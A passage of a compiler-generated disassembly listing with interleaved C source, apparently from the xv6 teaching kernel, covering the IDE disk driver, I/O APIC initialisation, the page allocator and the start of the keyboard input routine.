if(b->flags & B_DIRTY){ 80101f9d: f6 06 04 testb $0x4,(%esi) 80101fa0: 75 16 jne 80101fb8 <idestart+0x98> 80101fa2: b8 20 00 00 00 mov $0x20,%eax 80101fa7: 89 ca mov %ecx,%edx 80101fa9: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101faa: 8d 65 f4 lea -0xc(%ebp),%esp 80101fad: 5b pop %ebx 80101fae: 5e pop %esi 80101faf: 5f pop %edi 80101fb0: 5d pop %ebp 80101fb1: c3 ret 80101fb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101fb8: b8 30 00 00 00 mov $0x30,%eax 80101fbd: 89 ca mov %ecx,%edx 80101fbf: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80101fc0: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80101fc5: 83 c6 5c add $0x5c,%esi 80101fc8: ba f0 01 00 00 mov $0x1f0,%edx 80101fcd: fc cld 80101fce: f3 6f rep outsl %ds:(%esi),(%dx) } 80101fd0: 8d 65 f4 lea -0xc(%ebp),%esp 80101fd3: 5b pop %ebx 80101fd4: 5e pop %esi 80101fd5: 5f pop %edi 80101fd6: 5d pop %ebp 80101fd7: c3 ret panic("incorrect blockno"); 80101fd8: 83 ec 0c sub $0xc,%esp 80101fdb: 68 b4 71 10 80 push $0x801071b4 80101fe0: e8 ab e3 ff ff call 80100390 <panic> panic("idestart"); 80101fe5: 83 ec 0c sub $0xc,%esp 80101fe8: 68 ab 71 10 80 push $0x801071ab 80101fed: e8 9e e3 ff ff call 80100390 <panic> 80101ff2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102000 <ideinit>: { 80102000: 55 push %ebp 80102001: 89 e5 mov %esp,%ebp 80102003: 83 ec 10 sub $0x10,%esp initlock(&idelock, "ide"); 80102006: 68 c6 71 10 80 push $0x801071c6 8010200b: 68 80 a5 10 80 push $0x8010a580 80102010: e8 bb 22 00 00 call 801042d0 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 80102015: 58 pop %eax 80102016: a1 00 2d 11 80 mov 0x80112d00,%eax 8010201b: 5a pop %edx 8010201c: 83 e8 01 sub $0x1,%eax 8010201f: 50 push %eax 80102020: 6a 0e push $0xe 80102022: e8 a9 02 00 00 call 801022d0 <ioapicenable> 80102027: 83 c4 10 add $0x10,%esp asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010202a: ba f7 01 00 00 mov $0x1f7,%edx 8010202f: 90 nop 80102030: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102031: 83 e0 c0 and $0xffffffc0,%eax 80102034: 3c 40 cmp $0x40,%al 80102036: 75 f8 jne 80102030 <ideinit+0x30> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102038: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010203d: ba f6 01 00 00 mov $0x1f6,%edx 80102042: ee out %al,(%dx) 80102043: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102048: ba f7 01 00 00 mov $0x1f7,%edx 8010204d: eb 06 jmp 80102055 <ideinit+0x55> 8010204f: 90 nop for(i=0; i<1000; i++){ 80102050: 83 e9 01 sub $0x1,%ecx 80102053: 74 0f je 80102064 <ideinit+0x64> 80102055: ec in (%dx),%al if(inb(0x1f7) != 0){ 80102056: 84 c0 test %al,%al 80102058: 74 f6 je 80102050 <ideinit+0x50> havedisk1 = 1; 8010205a: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102061: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102064: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102069: ba f6 01 00 00 mov $0x1f6,%edx 8010206e: ee out %al,(%dx) } 8010206f: c9 leave 80102070: c3 ret 80102071: eb 0d jmp 80102080 <ideintr> 80102073: 90 nop 80102074: 90 nop 80102075: 90 nop 80102076: 90 nop 80102077: 90 nop 80102078: 90 nop 80102079: 90 nop 8010207a: 90 nop 8010207b: 90 nop 8010207c: 90 nop 8010207d: 90 nop 8010207e: 90 nop 8010207f: 90 nop 80102080 <ideintr>: // Interrupt handler. void ideintr(void) { 80102080: 55 push %ebp 80102081: 89 e5 mov %esp,%ebp 80102083: 57 push %edi 80102084: 56 push %esi 80102085: 53 push %ebx 80102086: 83 ec 18 sub $0x18,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102089: 68 80 a5 10 80 push $0x8010a580 8010208e: e8 7d 23 00 00 call 80104410 <acquire> if((b = idequeue) == 0){ 80102093: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 80102099: 83 c4 10 add $0x10,%esp 8010209c: 85 db test %ebx,%ebx 8010209e: 74 67 je 80102107 <ideintr+0x87> release(&idelock); return; } idequeue = b->qnext; 801020a0: 8b 43 58 mov 0x58(%ebx),%eax 801020a3: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 801020a8: 8b 3b mov (%ebx),%edi 801020aa: f7 c7 04 00 00 00 test $0x4,%edi 801020b0: 75 31 jne 801020e3 <ideintr+0x63> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020b2: ba f7 01 00 00 mov $0x1f7,%edx 801020b7: 89 f6 mov %esi,%esi 801020b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801020c0: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020c1: 89 c6 mov %eax,%esi 801020c3: 83 e6 c0 and $0xffffffc0,%esi 801020c6: 89 f1 mov %esi,%ecx 801020c8: 80 f9 40 cmp $0x40,%cl 801020cb: 75 f3 jne 801020c0 <ideintr+0x40> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020cd: a8 21 test $0x21,%al 801020cf: 75 12 jne 801020e3 <ideintr+0x63> insl(0x1f0, b->data, BSIZE/4); 801020d1: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 801020d4: b9 80 00 00 00 mov $0x80,%ecx 801020d9: ba f0 01 00 00 mov $0x1f0,%edx 801020de: fc cld 801020df: f3 6d rep insl (%dx),%es:(%edi) 801020e1: 8b 3b mov (%ebx),%edi // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 801020e3: 83 e7 fb and $0xfffffffb,%edi wakeup(b); 801020e6: 83 ec 0c sub $0xc,%esp b->flags &= ~B_DIRTY; 801020e9: 89 f9 mov %edi,%ecx 801020eb: 83 c9 02 or $0x2,%ecx 801020ee: 89 0b mov %ecx,(%ebx) wakeup(b); 801020f0: 53 push %ebx 801020f1: e8 3a 1e 00 00 call 80103f30 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020f6: a1 64 a5 10 80 mov 0x8010a564,%eax 801020fb: 83 c4 10 add $0x10,%esp 801020fe: 85 c0 test %eax,%eax 80102100: 74 05 je 80102107 <ideintr+0x87> idestart(idequeue); 80102102: e8 19 fe ff ff call 80101f20 <idestart> release(&idelock); 80102107: 83 ec 0c sub $0xc,%esp 8010210a: 68 80 a5 10 80 push $0x8010a580 8010210f: e8 bc 23 00 00 call 801044d0 <release> release(&idelock); } 80102114: 8d 65 f4 lea -0xc(%ebp),%esp 80102117: 5b pop %ebx 80102118: 5e pop %esi 80102119: 5f pop %edi 8010211a: 5d pop %ebp 8010211b: c3 ret 8010211c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102120 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102120: 55 push %ebp 80102121: 89 e5 mov %esp,%ebp 80102123: 53 push %ebx 80102124: 83 ec 10 sub $0x10,%esp 80102127: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010212a: 8d 43 0c lea 0xc(%ebx),%eax 8010212d: 50 push %eax 8010212e: e8 4d 21 00 00 call 80104280 <holdingsleep> 80102133: 83 c4 10 add $0x10,%esp 80102136: 85 c0 test %eax,%eax 80102138: 0f 84 c6 00 00 00 je 80102204 <iderw+0xe4> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010213e: 8b 03 mov (%ebx),%eax 80102140: 83 e0 06 and $0x6,%eax 80102143: 83 f8 02 cmp $0x2,%eax 80102146: 0f 84 ab 00 00 00 je 801021f7 <iderw+0xd7> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010214c: 8b 53 04 mov 0x4(%ebx),%edx 8010214f: 85 d2 test %edx,%edx 80102151: 74 0d je 80102160 <iderw+0x40> 80102153: a1 60 a5 10 80 mov 0x8010a560,%eax 80102158: 85 c0 test %eax,%eax 8010215a: 0f 84 b1 00 00 00 je 80102211 <iderw+0xf1> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 80102160: 83 ec 0c sub $0xc,%esp 80102163: 68 80 a5 10 80 push $0x8010a580 80102168: e8 a3 22 00 00 call 80104410 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010216d: 8b 15 64 a5 10 80 mov 0x8010a564,%edx 80102173: 83 c4 10 add $0x10,%esp b->qnext = 0; 80102176: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010217d: 85 d2 test %edx,%edx 8010217f: 75 09 jne 8010218a <iderw+0x6a> 80102181: eb 6d jmp 801021f0 <iderw+0xd0> 80102183: 90 nop 80102184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102188: 89 c2 mov %eax,%edx 8010218a: 8b 42 58 mov 0x58(%edx),%eax 8010218d: 85 c0 test %eax,%eax 8010218f: 75 f7 jne 80102188 <iderw+0x68> 80102191: 83 c2 58 add $0x58,%edx ; *pp = b; 80102194: 89 1a mov %ebx,(%edx) // Start disk if necessary. if(idequeue == b) 80102196: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 8010219c: 74 42 je 801021e0 <iderw+0xc0> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010219e: 8b 03 mov (%ebx),%eax 801021a0: 83 e0 06 and $0x6,%eax 801021a3: 83 f8 02 cmp $0x2,%eax 801021a6: 74 23 je 801021cb <iderw+0xab> 801021a8: 90 nop 801021a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sleep(b, &idelock); 801021b0: 83 ec 08 sub $0x8,%esp 801021b3: 68 80 a5 10 80 push $0x8010a580 801021b8: 53 push %ebx 801021b9: e8 c2 1b 00 00 call 80103d80 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021be: 8b 03 mov (%ebx),%eax 801021c0: 83 c4 10 add $0x10,%esp 801021c3: 83 e0 06 and $0x6,%eax 801021c6: 83 f8 02 cmp $0x2,%eax 801021c9: 75 e5 jne 801021b0 <iderw+0x90> } release(&idelock); 801021cb: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021d2: 8b 5d fc mov -0x4(%ebp),%ebx 801021d5: c9 leave release(&idelock); 801021d6: e9 f5 22 00 00 jmp 801044d0 <release> 801021db: 90 nop 801021dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi idestart(b); 801021e0: 89 d8 mov %ebx,%eax 801021e2: e8 39 fd ff ff call 80101f20 <idestart> 801021e7: eb b5 jmp 8010219e <iderw+0x7e> 801021e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021f0: ba 64 a5 10 80 mov $0x8010a564,%edx 801021f5: eb 9d jmp 80102194 <iderw+0x74> panic("iderw: nothing to do"); 801021f7: 83 ec 0c sub $0xc,%esp 801021fa: 68 e0 71 10 80 push $0x801071e0 801021ff: e8 8c e1 ff ff call 80100390 <panic> panic("iderw: buf not locked"); 80102204: 83 ec 0c sub $0xc,%esp 80102207: 68 ca 71 10 80 push $0x801071ca 8010220c: e8 7f e1 ff ff call 80100390 <panic> panic("iderw: ide disk 1 not present"); 80102211: 83 ec 0c sub $0xc,%esp 80102214: 68 f5 71 10 80 push $0x801071f5 80102219: e8 72 e1 ff ff call 80100390 <panic> 8010221e: 66 90 xchg %ax,%ax 80102220 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 80102220: 55 push %ebp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 80102221: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 80102228: 00 c0 fe { 8010222b: 89 e5 mov %esp,%ebp 8010222d: 56 push %esi 8010222e: 53 push %ebx ioapic->reg = reg; 8010222f: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102236: 00 00 00 return ioapic->data; 80102239: a1 34 26 11 80 mov 0x80112634,%eax 8010223e: 8b 58 10 mov 0x10(%eax),%ebx ioapic->reg = reg; 80102241: c7 00 00 00 00 00 movl $0x0,(%eax) return ioapic->data; 80102247: 8b 0d 34 26 11 80 mov 0x80112634,%ecx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 8010224d: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102254: c1 eb 10 shr $0x10,%ebx return ioapic->data; 80102257: 8b 41 10 mov 0x10(%ecx),%eax maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 8010225a: 0f b6 db movzbl %bl,%ebx id = ioapicread(REG_ID) >> 24; 8010225d: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102260: 39 c2 cmp %eax,%edx 80102262: 74 16 je 8010227a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102264: 83 ec 0c sub $0xc,%esp 80102267: 68 14 72 10 80 push $0x80107214 8010226c: e8 ef e3 ff ff call 80100660 <cprintf> 80102271: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 80102277: 83 c4 10 add $0x10,%esp 8010227a: 83 c3 21 add $0x21,%ebx { 8010227d: ba 10 00 00 00 mov $0x10,%edx 80102282: b8 20 00 00 00 mov $0x20,%eax 80102287: 89 f6 mov %esi,%esi 80102289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ioapic->reg = reg; 80102290: 89 11 mov %edx,(%ecx) ioapic->data = data; 80102292: 8b 0d 34 26 11 80 mov 0x80112634,%ecx // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102298: 89 c6 mov %eax,%esi 8010229a: 81 ce 00 00 01 00 or $0x10000,%esi 801022a0: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022a3: 89 71 10 mov %esi,0x10(%ecx) 801022a6: 8d 72 01 lea 0x1(%edx),%esi 801022a9: 83 c2 02 add $0x2,%edx for(i = 0; i <= maxintr; i++){ 801022ac: 39 d8 cmp %ebx,%eax ioapic->reg = reg; 801022ae: 89 31 mov %esi,(%ecx) ioapic->data = data; 801022b0: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 801022b6: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 801022bd: 75 d1 jne 80102290 <ioapicinit+0x70> ioapicwrite(REG_TABLE+2*i+1, 0); } } 801022bf: 8d 65 f8 lea -0x8(%ebp),%esp 801022c2: 5b pop %ebx 801022c3: 5e pop %esi 801022c4: 5d pop %ebp 801022c5: c3 ret 801022c6: 8d 76 00 lea 0x0(%esi),%esi 801022c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801022d0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022d0: 55 push %ebp ioapic->reg = reg; 801022d1: 8b 0d 34 26 11 80 mov 0x80112634,%ecx { 801022d7: 89 e5 mov %esp,%ebp 801022d9: 8b 45 08 mov 0x8(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022dc: 8d 50 20 lea 0x20(%eax),%edx 801022df: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax ioapic->reg = reg; 801022e3: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022e5: 8b 0d 34 26 11 80 mov 0x80112634,%ecx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022eb: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022ee: 89 51 10 mov %edx,0x10(%ecx) ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022f1: 8b 55 0c mov 0xc(%ebp),%edx ioapic->reg = reg; 801022f4: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022f6: a1 34 26 11 80 mov 0x80112634,%eax ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022fb: c1 e2 18 shl $0x18,%edx ioapic->data = data; 801022fe: 89 50 10 mov %edx,0x10(%eax) } 80102301: 5d pop %ebp 80102302: c3 ret 80102303: 66 90 xchg %ax,%ax 80102305: 66 90 xchg %ax,%ax 80102307: 66 90 xchg %ax,%ax 80102309: 66 90 xchg %ax,%ax 8010230b: 66 90 xchg %ax,%ax 8010230d: 66 90 xchg %ax,%ax 8010230f: 90 nop 80102310 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 80102310: 55 push %ebp 80102311: 89 e5 mov %esp,%ebp 80102313: 53 push %ebx 80102314: 83 ec 04 sub $0x4,%esp 80102317: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 8010231a: f7 c3 ff 0f 00 00 test $0xfff,%ebx 80102320: 75 70 jne 80102392 <kfree+0x82> 80102322: 81 fb a8 54 11 80 cmp $0x801154a8,%ebx 80102328: 72 68 jb 80102392 <kfree+0x82> 8010232a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102330: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102335: 77 5b ja 80102392 <kfree+0x82> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102337: 83 ec 04 sub $0x4,%esp 8010233a: 68 00 10 00 00 push $0x1000 8010233f: 6a 01 push $0x1 80102341: 53 push %ebx 80102342: e8 d9 21 00 00 call 80104520 <memset> if(kmem.use_lock) 80102347: 8b 15 74 26 11 80 mov 0x80112674,%edx 8010234d: 83 c4 10 add $0x10,%esp 80102350: 85 d2 test %edx,%edx 80102352: 75 2c jne 80102380 <kfree+0x70> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102354: a1 78 26 11 80 mov 0x80112678,%eax 80102359: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 8010235b: a1 74 26 11 80 mov 0x80112674,%eax kmem.freelist = r; 80102360: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 80102366: 85 c0 test %eax,%eax 80102368: 75 06 jne 80102370 <kfree+0x60> release(&kmem.lock); } 8010236a: 8b 5d fc mov -0x4(%ebp),%ebx 8010236d: c9 leave 8010236e: c3 ret 8010236f: 90 nop release(&kmem.lock); 80102370: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 80102377: 8b 5d fc mov -0x4(%ebp),%ebx 8010237a: c9 leave release(&kmem.lock); 8010237b: e9 50 21 00 00 jmp 801044d0 <release> acquire(&kmem.lock); 80102380: 83 ec 0c sub $0xc,%esp 80102383: 68 40 26 11 80 push $0x80112640 80102388: e8 83 20 00 00 call 80104410 <acquire> 8010238d: 83 c4 10 add $0x10,%esp 80102390: eb c2 jmp 80102354 <kfree+0x44> panic("kfree"); 80102392: 83 ec 0c sub $0xc,%esp 80102395: 68 46 72 10 80 push $0x80107246 8010239a: e8 f1 df ff ff call 80100390 <panic> 8010239f: 90 nop 801023a0 <freerange>: { 801023a0: 55 push %ebp 801023a1: 89 e5 mov %esp,%ebp 801023a3: 56 push %esi 801023a4: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 801023a5: 8b 45 08 mov 0x8(%ebp),%eax { 801023a8: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 801023ab: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801023b1: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023b7: 81 c3 00 10 00 00 add $0x1000,%ebx 801023bd: 39 de cmp %ebx,%esi 801023bf: 72 23 jb 801023e4 <freerange+0x44> 801023c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 801023c8: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 801023ce: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023d1: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 801023d7: 50 push %eax 801023d8: e8 33 ff ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023dd: 83 c4 10 add $0x10,%esp 801023e0: 39 f3 cmp %esi,%ebx 801023e2: 76 e4 jbe 801023c8 <freerange+0x28> } 801023e4: 8d 65 f8 lea -0x8(%ebp),%esp 801023e7: 5b pop %ebx 801023e8: 5e pop %esi 801023e9: 5d pop %ebp 801023ea: c3 ret 801023eb: 90 nop 801023ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023f0 <kinit1>: { 801023f0: 55 push %ebp 801023f1: 89 e5 mov %esp,%ebp 801023f3: 56 push %esi 801023f4: 53 push %ebx 801023f5: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023f8: 83 ec 08 sub $0x8,%esp 801023fb: 68 4c 72 10 80 push $0x8010724c 80102400: 68 40 26 11 80 push $0x80112640 80102405: e8 c6 1e 00 00 call 801042d0 <initlock> p = (char*)PGROUNDUP((uint)vstart); 8010240a: 8b 45 08 mov 0x8(%ebp),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010240d: 83 c4 10 add $0x10,%esp kmem.use_lock = 0; 80102410: c7 05 74 26 11 80 00 movl $0x0,0x80112674 80102417: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 8010241a: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102420: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102426: 81 c3 00 10 00 00 add $0x1000,%ebx 8010242c: 39 de cmp %ebx,%esi 8010242e: 72 1c jb 8010244c <kinit1+0x5c> kfree(p); 80102430: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 80102436: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102439: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 8010243f: 50 push %eax 80102440: e8 cb fe ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102445: 83 c4 10 add $0x10,%esp 80102448: 39 de cmp %ebx,%esi 8010244a: 73 e4 jae 80102430 <kinit1+0x40> } 8010244c: 8d 65 f8 lea -0x8(%ebp),%esp 8010244f: 5b pop %ebx 80102450: 5e pop %esi 80102451: 5d pop %ebp 80102452: c3 ret 80102453: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102460 <kinit2>: { 80102460: 55 push %ebp 80102461: 89 e5 mov %esp,%ebp 80102463: 56 push %esi 80102464: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 80102465: 8b 45 08 mov 0x8(%ebp),%eax { 80102468: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010246b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102471: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102477: 81 c3 00 10 00 00 add $0x1000,%ebx 8010247d: 39 de cmp %ebx,%esi 8010247f: 72 23 jb 801024a4 <kinit2+0x44> 80102481: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 80102488: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax 8010248e: 83 ec 0c sub $0xc,%esp for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102491: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102497: 50 push %eax 80102498: e8 73 fe ff ff call 80102310 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010249d: 83 c4 10 add $0x10,%esp 801024a0: 39 de cmp %ebx,%esi 801024a2: 73 e4 jae 80102488 <kinit2+0x28> kmem.use_lock = 1; 801024a4: c7 05 74 26 11 80 01 movl $0x1,0x80112674 801024ab: 00 00 00 } 801024ae: 8d 65 f8 lea -0x8(%ebp),%esp 801024b1: 5b pop %ebx 801024b2: 5e pop %esi 801024b3: 5d pop %ebp 801024b4: c3 ret 801024b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801024b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801024c0 <kalloc>: char* kalloc(void) { struct run *r; if(kmem.use_lock) 801024c0: a1 74 26 11 80 mov 0x80112674,%eax 801024c5: 85 c0 test %eax,%eax 801024c7: 75 1f jne 801024e8 <kalloc+0x28> acquire(&kmem.lock); r = kmem.freelist; 801024c9: a1 78 26 11 80 mov 0x80112678,%eax if(r) 801024ce: 85 c0 test %eax,%eax 801024d0: 74 0e je 801024e0 <kalloc+0x20> kmem.freelist = r->next; 801024d2: 8b 10 mov (%eax),%edx 801024d4: 89 15 78 26 11 80 mov %edx,0x80112678 801024da: c3 ret 801024db: 90 nop 801024dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(kmem.use_lock) release(&kmem.lock); return (char*)r; } 801024e0: f3 c3 repz ret 801024e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi { 801024e8: 55 push %ebp 801024e9: 89 e5 mov %esp,%ebp 801024eb: 83 ec 24 sub $0x24,%esp acquire(&kmem.lock); 801024ee: 68 40 26 11 80 push $0x80112640 801024f3: e8 18 1f 00 00 call 80104410 <acquire> r = kmem.freelist; 801024f8: a1 78 26 11 80 mov 0x80112678,%eax if(r) 801024fd: 83 c4 10 add $0x10,%esp 80102500: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102506: 85 c0 test %eax,%eax 80102508: 74 08 je 80102512 <kalloc+0x52> kmem.freelist = r->next; 8010250a: 8b 08 mov (%eax),%ecx 8010250c: 89 0d 78 26 11 80 mov %ecx,0x80112678 if(kmem.use_lock) 80102512: 85 d2 test %edx,%edx 80102514: 74 16 je 8010252c <kalloc+0x6c> release(&kmem.lock); 80102516: 83 ec 0c sub $0xc,%esp 80102519: 89 45 f4 mov %eax,-0xc(%ebp) 8010251c: 68 40 26 11 80 push $0x80112640 80102521: e8 aa 1f 00 00 call 801044d0 <release> return (char*)r; 80102526: 8b 45 f4 mov -0xc(%ebp),%eax release(&kmem.lock); 80102529: 83 c4 10 add $0x10,%esp } 8010252c: c9 leave 8010252d: c3 ret 8010252e: 66 90 xchg %ax,%ax 80102530 <kbdgetc>: asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102530: ba 64 00 00 00 mov $0x64,%edx 80102535: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 80102536: a8 01 test $0x1,%al 80102538: 0f 84 c2 00 00 00 je 80102600 <kbdgetc+0xd0> 8010253e: ba 60 00 00 00 mov $0x60,%edx 80102543: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102544: 0f b6 d0 movzbl %al,%edx 80102547: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx if(data == 0xE0){ 8010254d: 81 fa e0 00 00 00 cmp $0xe0,%edx 80102553: 0f 84 7f 00 00 00 je 801025d8 <kbdgetc+0xa8> { 80102559: 55 push %ebp 8010255a: 89 e5 mov %esp,%ebp 8010255c: 53 push %ebx 8010255d: 89 cb mov %ecx,%ebx 8010255f: 83 e3 40 and $0x40,%ebx shift |= E0ESC; return 0; } else if(data & 0x80){ 80102562: 84 c0 test %al,%al 80102564: 78 4a js 801025b0 <kbdgetc+0x80> // Key released data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ 80102566: 85 db test %ebx,%ebx 80102568: 74 09 je 80102573 <kbdgetc+0x43> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010256a: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 8010256d: 83 e1 bf and $0xffffffbf,%ecx data |= 0x80; 80102570: 0f b6 d0 movzbl %al,%edx } shift |= shiftcode[data]; 80102573: 0f b6 82 80 73 10 80 movzbl 